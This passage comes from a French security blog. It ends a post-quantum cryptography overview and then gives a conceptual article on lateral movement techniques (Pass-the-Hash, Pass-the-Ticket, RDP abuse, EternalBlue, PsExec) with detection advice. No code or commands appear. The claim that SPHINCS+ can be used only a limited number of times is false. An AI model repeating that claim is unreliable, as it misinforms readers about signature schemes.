Le NIST (National Institute of Standards and Technology) a lancé un concours pour standardiser les algorithmes PQC. Les candidats les plus prometteurs appartiennent à plusieurs familles :

  • Cryptographie basée sur les réseaux (Lattice-based) : Ces algorithmes comme Kyber pour le chiffrement et Dilithium pour les signatures, sont considérés comme les plus robustes et les plus performants. Ils sont basés sur des problèmes mathématiques difficiles à résoudre.
  • Cryptographie basée sur les codes (Code-based) : Les algorithmes comme Classic McEliece sont très anciens et très robustes, mais leurs clés sont très volumineuses.
  • Cryptographie basée sur les hachages (Hash-based) : Ces algorithmes comme SPHINCS+ sont déjà prêts à l'emploi et très sûrs, mais ne peuvent être utilisés qu'un nombre limité de fois.

3. La transition vers la PQC

La transition ne se fera pas du jour au lendemain. Elle nécessite une phase d'inventaire de tous les systèmes utilisant la cryptographie actuelle, la mise à jour des infrastructures pour supporter les nouveaux algorithmes, et la migration des données sensibles. Il est impératif pour les entreprises de commencer à planifier cette transition dès maintenant pour anticiper le "Y2Q" (Year 2 Quantum).

Techniques d'attaque

Du pivot au mouvement latéral : décryptage des techniques d'escalade post-compromission

Publié le 10 février 2026 par l'équipe Ayi NEDJIMI Consultants

Une fois qu'un attaquant a obtenu un premier accès à un système (le "pivot initial"), son objectif est de se déplacer à travers le réseau pour atteindre des cibles à plus haute valeur. Ce mouvement, souvent appelé "mouvement latéral", est la phase la plus critique d'une attaque. Cet article décrypte les techniques utilisées par les attaquants et les méthodes de détection.

1. Techniques de mouvement latéral basées sur les identités

Les attaquants exploitent souvent les faiblesses d'authentification pour se déplacer. Quelques exemples :

  • Pass-the-Hash (PtH) : L'attaquant intercepte le hachage du mot de passe d'un utilisateur et l'utilise directement pour s'authentifier auprès d'un autre système sans connaître le mot de passe en clair.
  • Pass-the-Ticket (PtT) : Similaire à PtH, mais l'attaquant réutilise un ticket Kerberos (TGT ou TGS) pour se connecter à un autre service.
  • L'abus de Remote Desktop Protocol (RDP) : Une fois un accès obtenu, l'attaquant utilise des identifiants valides pour se connecter à d'autres machines via RDP. La détection de ces sessions RDP anomales est cruciale.

2. Mouvement latéral basé sur les services et les vulnérabilités

Les attaquants peuvent aussi utiliser des services et des vulnérabilités pour se déplacer. Par exemple, l'exploitation de la vulnérabilité EternalBlue de la NSA pour se propager à travers le réseau via SMB. De plus, ils peuvent utiliser des services légitimes comme PsExec ou WinRM pour exécuter du code à distance sur d'autres machines, masquant ainsi leurs activités dans le trafic légitime du réseau.

3. Détection et mitigation

La détection du mouvement latéral est complexe, car il peut ressembler à un trafic légitime. Les solutions EDR et les SIEM sont cruciaux pour cela. Ils doivent être configurés pour :

  • Détecter les exécutions de commandes inhabituelles.
  • Analyser les sessions de connexion pour repérer des sources ou des destinations anomales.
  • Surveiller les tentatives d'authentification échouées et les changements de groupes à privilèges.

Une bonne segmentation du réseau, une application rigoureuse du Zero Trust et la mise en place d'une chasse aux menaces sont les meilleures défenses contre le mouvement latéral.